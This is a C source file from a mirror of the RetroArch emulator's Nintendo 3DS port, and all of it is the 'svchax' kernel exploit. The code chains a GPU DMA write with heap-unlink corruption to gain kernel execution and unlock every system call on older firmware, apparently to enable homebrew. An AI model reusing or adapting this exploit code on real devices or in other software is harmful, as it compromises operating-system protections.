mirror of
https://github.com/CTCaer/RetroArch.git
synced 2024-12-28 13:47:58 +00:00
7f5ae4bdba
fix some warnings.
146 lines
3.6 KiB
C
146 lines
3.6 KiB
C
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#include <3ds.h>
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#include <string.h>
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static void svchax_gspwn(u32 dst, u32 src, u32 size, u8* flush_buffer)
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{
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extern Handle gspEvents[GSPGPU_EVENT_MAX];
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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GSPGPU_InvalidateDataCache((void*)dst, size);
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GSPGPU_FlushDataCache((void*)src, size);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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svcClearEvent(gspEvents[GSPGPU_EVENT_PPF]);
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GX_TextureCopy((void*)src, 0, (void*)dst, 0, size, 8);
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svcWaitSynchronization(gspEvents[GSPGPU_EVENT_PPF], U64_MAX);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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}
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/* pseudo-code:
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* if(val2)
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* {
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* *(u32*)val1 = val2;
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* *(u32*)(val2 + 8) = (val1 - 4);
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* }
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* else
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* *(u32*)val1 = 0x0;
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*/
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// X-X--X-X
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// X-XXXX-X
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static void memchunkhax_write_pair(u32 val1, u32 val2)
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{
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u32 linear_buffer;
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u8* flush_buffer;
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u32 tmp;
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u32* next_ptr3;
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u32* prev_ptr3;
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u32* next_ptr1;
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u32* prev_ptr6;
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svcControlMemory(&linear_buffer, 0, 0, 0x10000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
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flush_buffer = (u8*)(linear_buffer + 0x8000);
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svcControlMemory(&tmp, linear_buffer + 0x1000, 0, 0x1000, MEMOP_FREE, 0);
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svcControlMemory(&tmp, linear_buffer + 0x3000, 0, 0x2000, MEMOP_FREE, 0);
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svcControlMemory(&tmp, linear_buffer + 0x6000, 0, 0x1000, MEMOP_FREE, 0);
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next_ptr1 = (u32*)(linear_buffer + 0x0004);
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svchax_gspwn(linear_buffer + 0x0000, linear_buffer + 0x1000, 16, flush_buffer);
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next_ptr3 = (u32*)(linear_buffer + 0x2004);
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prev_ptr3 = (u32*)(linear_buffer + 0x2008);
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svchax_gspwn(linear_buffer + 0x2000, linear_buffer + 0x3000, 16, flush_buffer);
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prev_ptr6 = (u32*)(linear_buffer + 0x5008);
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svchax_gspwn(linear_buffer + 0x5000, linear_buffer + 0x6000, 16, flush_buffer);
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*next_ptr1 = *next_ptr3;
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*prev_ptr6 = *prev_ptr3;
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*prev_ptr3 = val1 - 4;
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*next_ptr3 = val2;
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svchax_gspwn(linear_buffer + 0x3000, linear_buffer + 0x2000, 16, flush_buffer);
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svcControlMemory(&tmp, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
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svchax_gspwn(linear_buffer + 0x1000, linear_buffer + 0x0000, 16, flush_buffer);
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svchax_gspwn(linear_buffer + 0x6000, linear_buffer + 0x5000, 16, flush_buffer);
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svcControlMemory(&tmp, linear_buffer + 0x0000, 0, 0x1000, MEMOP_FREE, 0);
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svcControlMemory(&tmp, linear_buffer + 0x2000, 0, 0x4000, MEMOP_FREE, 0);
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svcControlMemory(&tmp, linear_buffer + 0x7000, 0, 0x9000, MEMOP_FREE, 0);
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}
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static inline u32 get_7B_access_ctrl_ptr(void)
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{
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register u32 r0 __asm__("r0");
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__asm__ volatile (
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"sub r0, sp, #8 \n\t"
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"mov r1, #1 \n\t"
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"mov r2, #0 \n\t"
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"svc 0x2A \n\t"
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"orr r0, r1, #0xF00 \n\t"
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"bic r0, r0, #0x0FF \n\t"
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"add r0, r0, #0x044 \n\t"
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:::"r0","r1","r2");
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return r0;
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}
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static u32 saved_vram_value;
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static s32 k_restore_vram_value(void)
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{
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__asm__ volatile("cpsid aif \n\t");
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*(u32*)0x1F000008 = saved_vram_value;
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return 0;
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}
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static s32 k_enable_all_svc(void)
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{
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__asm__ volatile("cpsid aif");
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u32* svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6;
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svc_access_control[0]=0xFFFFFFFE;
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svc_access_control[1]=0xFFFFFFFF;
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svc_access_control[2]=0xFFFFFFFF;
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svc_access_control[3]=0x3FFFFFFF;
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return 0;
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}
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u32 __ctr_svchax = 0;
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void svchax_init(void)
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{
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extern void* __service_ptr;
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if (__ctr_svchax)
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return;
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if(__service_ptr)
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{
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if((*(u8*)0x1FF80002 > 0x2F) || (*(u8*)0x1FF80003 != 0x2))
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return;
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saved_vram_value = *(u32*)0x1F000008;
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memchunkhax_write_pair(get_7B_access_ctrl_ptr(), 0x1F000000);
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svcBackdoor(k_restore_vram_value);
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}
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svcBackdoor(k_enable_all_svc);
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__ctr_svchax = 1;
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}
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